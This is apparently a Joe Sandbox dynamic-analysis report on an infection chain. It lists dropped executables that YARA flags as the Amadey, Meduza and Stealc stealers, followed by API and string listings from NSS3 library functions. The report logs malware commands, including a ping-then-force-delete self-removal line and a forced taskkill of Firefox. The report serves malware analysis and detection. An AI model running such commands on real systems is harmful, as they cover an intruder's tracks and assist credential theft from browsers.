Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.1933021027.00000000007F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:27:00
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7f0000
File size:	3'294'720 bytes
MD5 hash:	A359D8B520114D92895E10CFED863537
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2504429791.00000000007F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	14:27:17
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe"
Imagebase:	0x7ff6db210000
File size:	4'269'056 bytes
MD5 hash:	399B2859420738500EB977F816FE61E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:27:18
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe"
Imagebase:	0x7ff6db210000
File size:	4'269'056 bytes
MD5 hash:	399B2859420738500EB977F816FE61E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MeduzaStealer, Description: Yara detected Meduza Stealer, Source: 0000001A.00000002.2433470637.0000022BC7C55000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MeduzaStealer, Description: Yara detected Meduza Stealer, Source: 0000001A.00000002.2432809587.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:27:25
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1012998001\bbbef9e2c3.exe"
Imagebase:	0x500000
File size:	1'853'440 bytes
MD5 hash:	B952F0B56D2A88FC5F6C940C02819CB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000002.2511184346.0000000000F69000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	14:27:35
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1012999001\2a79a10743.exe"
Imagebase:	0x130000
File size:	1'786'880 bytes
MD5 hash:	DEFDF92BE6053F805B80FFCF7850F3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.2478015270.0000000000131000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000003.2434655833.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.2480811953.000000000157E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	14:27:36
Start date:	07/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe"
Imagebase:	0x7ff642390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	14:27:36
Start date:	07/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	14:27:36
Start date:	07/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping 1.1.1.1 -n 1 -w 3000
Imagebase:	0x7ff625110000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	14:27:42
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1012998001\bbbef9e2c3.exe"
Imagebase:	0x500000
File size:	1'853'440 bytes
MD5 hash:	B952F0B56D2A88FC5F6C940C02819CB5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	14:27:42
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1013000001\c679ee9018.exe"
Imagebase:	0xc80000
File size:	970'752 bytes
MD5 hash:	A6E76DEFCE11C0A2C4E7E8C1E32BF77B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 21%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	14:27:44
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xe60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	14:27:44
Start date:	07/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 6CE46E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CF92120,6CE47E60), ref: 6CE46EBC
TlsGetValue.KERNEL32 ref: 6CE46EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE46EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CE46F25

Part of subcall function 6CE1A900: TlsGetValue.KERNEL32(00000000,?,6CF914E4,?,6CDB4DD9), ref: 6CE1A90F
Part of subcall function 6CE1A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE1A94F

PR_Unlock.NSS3 ref: 6CE46F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CE46FA9
TlsGetValue.KERNEL32 ref: 6CE470B4
EnterCriticalSection.KERNEL32(?), ref: 6CE470C8
PR_CallOnce.NSS3(6CF924C0,6CE87590), ref: 6CE47104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE47117
SECOID_Init.NSS3 ref: 6CE47128
PORT_Alloc_Util.NSS3(00000057), ref: 6CE4714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE4717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE471A9
PR_NotifyAllCondVar.NSS3 ref: 6CE471CF
PR_Unlock.NSS3 ref: 6CE471DD
free.MOZGLUE(?), ref: 6CE471EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE47208
free.MOZGLUE(00000000), ref: 6CE47221
free.MOZGLUE(00000001), ref: 6CE47235
TlsGetValue.KERNEL32 ref: 6CE4724A
EnterCriticalSection.KERNEL32(?), ref: 6CE4725E
PR_NotifyCondVar.NSS3 ref: 6CE47273
PR_Unlock.NSS3 ref: 6CE47281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE47291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE472B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE472D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE472E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE47301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE47310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE47335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE47344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE47363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE47372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CF80148,,defaultModDB,internalKeySlot), ref: 6CE474CC
free.MOZGLUE(00000000), ref: 6CE47513
free.MOZGLUE(00000000), ref: 6CE4751B
free.MOZGLUE(00000000), ref: 6CE47528
free.MOZGLUE(00000000), ref: 6CE4753C
free.MOZGLUE(00000000), ref: 6CE47550
free.MOZGLUE(00000000), ref: 6CE47561
free.MOZGLUE(00000000), ref: 6CE47572
free.MOZGLUE(00000000), ref: 6CE47583
free.MOZGLUE(00000000), ref: 6CE47594
free.MOZGLUE(00000000), ref: 6CE475A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CE475BD
free.MOZGLUE(00000000), ref: 6CE475C8
free.MOZGLUE(00000000), ref: 6CE475F1
PR_NewLock.NSS3 ref: 6CE47636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE47686
PR_NewLock.NSS3 ref: 6CE476A2

Part of subcall function 6CEF98D0: calloc.MOZGLUE(00000001,00000084,6CE20936,00000001,?,6CE2102C), ref: 6CEF98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CE476B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CE47707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CE4771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CE47731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CE4774A
DeleteCriticalSection.KERNEL32(?), ref: 6CE47770
free.MOZGLUE(?), ref: 6CE47779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE4779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE477AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CE477C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE477DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CE47821
PORT_Alloc_Util.NSS3(?), ref: 6CE47837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CE4785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE4786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CE478AC
free.MOZGLUE(00000000), ref: 6CE478BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CE478F3
free.MOZGLUE(00000000), ref: 6CE478FC
free.MOZGLUE(00000000), ref: 6CE4791C

Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207AD
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207CD
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207D6
Part of subcall function 6CE207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDB204A), ref: 6CE207E4
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,6CDB204A), ref: 6CE20864
Part of subcall function 6CE207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE20880
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,6CDB204A), ref: 6CE208CB
Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(?,?,6CDB204A), ref: 6CE208D7
Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(?,?,6CDB204A), ref: 6CE208FB

Strings

Spac, xrefs: 6CE47389
extern:, xrefs: 6CE4772B
dll, xrefs: 6CE4788E
dbm:, xrefs: 6CE47716
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CE474C7
NSS Internal Module, xrefs: 6CE474A2, 6CE474C6
sql:, xrefs: 6CE476FE
kbi., xrefs: 6CE47886
rdb:, xrefs: 6CE47744
,defaultModDB,internalKeySlot, xrefs: 6CE4748D, 6CE474AA

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 3bfdfd44695ca60ed723d03d99a89369255e018cadc6f6049a3e02a83fb73546
Instruction ID: 5b6948ed01c501c2437bda040f9e3391212846783ba6ef7afb11ac246aff1029
Opcode Fuzzy Hash: 3bfdfd44695ca60ed723d03d99a89369255e018cadc6f6049a3e02a83fb73546
Instruction Fuzzy Hash: 1D5213B1E113019BEF119F64EC49BAA7BB4AF0630CF258128ED19A7B41E731D958CBD1

Function 6CE6BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CE6C0C8

Part of subcall function 6CEF9440: LeaveCriticalSection.KERNEL32 ref: 6CEF95CD
Part of subcall function 6CEF9440: TlsGetValue.KERNEL32 ref: 6CEF9622
Part of subcall function 6CEF9440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CEF964E

PR_EnterMonitor.NSS3 ref: 6CE6C0AE

Part of subcall function 6CEF9090: LeaveCriticalSection.KERNEL32 ref: 6CEF91AA
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF9212
Part of subcall function 6CEF9090: _PR_MD_WAIT_CV.NSS3 ref: 6CEF926B

Part of subcall function 6CE20600: GetLastError.KERNEL32(?,?,?,?,?,6CE205E2), ref: 6CE20642
Part of subcall function 6CE20600: TlsGetValue.KERNEL32(?,?,?,?,?,6CE205E2), ref: 6CE2065D
Part of subcall function 6CE20600: GetLastError.KERNEL32 ref: 6CE20678
Part of subcall function 6CE20600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CE2068A
Part of subcall function 6CE20600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE20693
Part of subcall function 6CE20600: PR_SetErrorText.NSS3(00000000,?), ref: 6CE2069D
Part of subcall function 6CE20600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,0BCB033D,?,?,?,?,?,6CE205E2), ref: 6CE206CA
Part of subcall function 6CE20600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CE205E2), ref: 6CE206E6

PR_EnterMonitor.NSS3 ref: 6CE6C0F2
PR_ExitMonitor.NSS3 ref: 6CE6C10E
PR_ExitMonitor.NSS3 ref: 6CE6C081

Part of subcall function 6CEF9440: TlsGetValue.KERNEL32 ref: 6CEF945B
Part of subcall function 6CEF9440: TlsGetValue.KERNEL32 ref: 6CEF9479
Part of subcall function 6CEF9440: EnterCriticalSection.KERNEL32 ref: 6CEF9495
Part of subcall function 6CEF9440: TlsGetValue.KERNEL32 ref: 6CEF94E4
Part of subcall function 6CEF9440: TlsGetValue.KERNEL32 ref: 6CEF9532
Part of subcall function 6CEF9440: LeaveCriticalSection.KERNEL32 ref: 6CEF955D

PR_EnterMonitor.NSS3 ref: 6CE6C068

Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90AB
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90C9
Part of subcall function 6CEF9090: EnterCriticalSection.KERNEL32 ref: 6CEF90E5
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF9116
Part of subcall function 6CEF9090: LeaveCriticalSection.KERNEL32 ref: 6CEF913F

Part of subcall function 6CE20600: GetProcAddress.KERNEL32(?,?), ref: 6CE20623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CE6C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CE6C183
free.MOZGLUE(00000000), ref: 6CE6C18E
PR_LoadLibrary.NSS3(?), ref: 6CE6C1A3
PR_EnterMonitor.NSS3 ref: 6CE6C1D4
PR_ExitMonitor.NSS3 ref: 6CE6C1F3
PR_CallOnce.NSS3(6CF92318,6CE6CA70), ref: 6CE6C210
PR_EnterMonitor.NSS3 ref: 6CE6C22B
PR_ExitMonitor.NSS3 ref: 6CE6C247
PR_EnterMonitor.NSS3 ref: 6CE6C26A
PR_ExitMonitor.NSS3 ref: 6CE6C287
PR_UnloadLibrary.NSS3(?), ref: 6CE6C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CE6C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE6C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CE6C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CE6C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CE6C7B5
PR_UnloadLibrary.NSS3(?), ref: 6CE6C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CE6C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE6C8BF
PORT_Alloc_Util.NSS3(?), ref: 6CE6C8D5
free.MOZGLUE(00000000), ref: 6CE6C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE6C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE6C9E5
free.MOZGLUE(00000000), ref: 6CE6CA5A

Strings

NSS_DEBUG_PKCS11_MODULE, xrefs: 6CE6C38D
nss_mod_log, xrefs: 6CE6C3CC
FC_GetInterface, xrefs: 6CE6C054
NSC_GetInterface, xrefs: 6CE6C04F
NSC_ModuleDBFunc, xrefs: 6CE6C0FC
PKCS 11, xrefs: 6CE6C2F9, 6CE6C314
NSS_DISABLE_UNLOAD, xrefs: 6CE6C7B0
Vendor NSS FIPS Interface, xrefs: 6CE6C34A
NSS_FORCE_TOKEN_LOCK, xrefs: 6CE6C77D
NSS_ReturnModuleSpecData, xrefs: 6CE6C275
FC_GetFunctionList, xrefs: 6CE6C098
NSC_GetFunctionList, xrefs: 6CE6C093

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 27438bbe4a1c8f2a881e66552e7e99d54a200fafaded6b56ee6a7ee0effb0dad
Instruction ID: d19787696fbda8cfd21a9f3648968fd915fb22b72c759f5bbbac45b072e29522
Opcode Fuzzy Hash: 27438bbe4a1c8f2a881e66552e7e99d54a200fafaded6b56ee6a7ee0effb0dad
Instruction Fuzzy Hash: 49427CB2FA02048FEF40DF66D84BB5A7BB5BB56308F244029D8158BF21E732D555CB91

Function 6CF43FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CF43FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF43FFE
malloc.MOZGLUE(-00000003), ref: 6CF44016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CF7FC62), ref: 6CF4404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF4407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF440A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF440D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF44112
malloc.MOZGLUE(00000000), ref: 6CF4411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CF4414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF44160
free.MOZGLUE(?), ref: 6CF4416C
malloc.MOZGLUE(?), ref: 6CF441AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CF441EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CF44520), ref: 6CF44244
GetEnvironmentStrings.KERNEL32 ref: 6CF4424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF44263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF44283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF442B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF442E4
malloc.MOZGLUE(00000002), ref: 6CF442FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF44342
GetStdHandle.KERNEL32(000000F6), ref: 6CF443AB
GetStdHandle.KERNEL32(000000F5), ref: 6CF443B2
GetStdHandle.KERNEL32(000000F4), ref: 6CF443B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF44403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF44410

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CF4445E
CloseHandle.KERNEL32(?), ref: 6CF4446B
free.MOZGLUE(?), ref: 6CF44482
free.MOZGLUE(00000000), ref: 6CF44492
free.MOZGLUE(00000000), ref: 6CF444A4
GetLastError.KERNEL32 ref: 6CF444B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CF444BE
free.MOZGLUE(?), ref: 6CF444C7
free.MOZGLUE(00000000), ref: 6CF444D5
free.MOZGLUE(00000000), ref: 6CF444EA

Strings

=, xrefs: 6CF444F8
D, xrefs: 6CF44396
NSPR_INHERIT_FDS=, xrefs: 6CF441E9

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 32f27b0dddb48ea2e030fdfecc6ab3474ce8f98c9cf385d90924919daeade23f
Instruction ID: 55c4bcdbdde5e63212e4e3b7240a0e134fc7717b3bb1da01797f715717317866
Opcode Fuzzy Hash: 32f27b0dddb48ea2e030fdfecc6ab3474ce8f98c9cf385d90924919daeade23f
Instruction Fuzzy Hash: 4E02F371E053518BEB11CF6988847AEBFB4AF46308F258129DC6AB7B43D731A905CB91

Function 6CE56D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CF5A8EC,0000006C), ref: 6CE56DC6
memcpy.VCRUNTIME140(?,6CF5A958,0000006C), ref: 6CE56DDB
memcpy.VCRUNTIME140(?,6CF5A9C4,00000078), ref: 6CE56DF1
memcpy.VCRUNTIME140(?,6CF5AA3C,0000006C), ref: 6CE56E06
memcpy.VCRUNTIME140(?,6CF5AAA8,00000060), ref: 6CE56E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE56E38

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CE56E76
TlsGetValue.KERNEL32 ref: 6CE5726F
EnterCriticalSection.KERNEL32(?), ref: 6CE57283

Strings

!, xrefs: 6CE57123

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
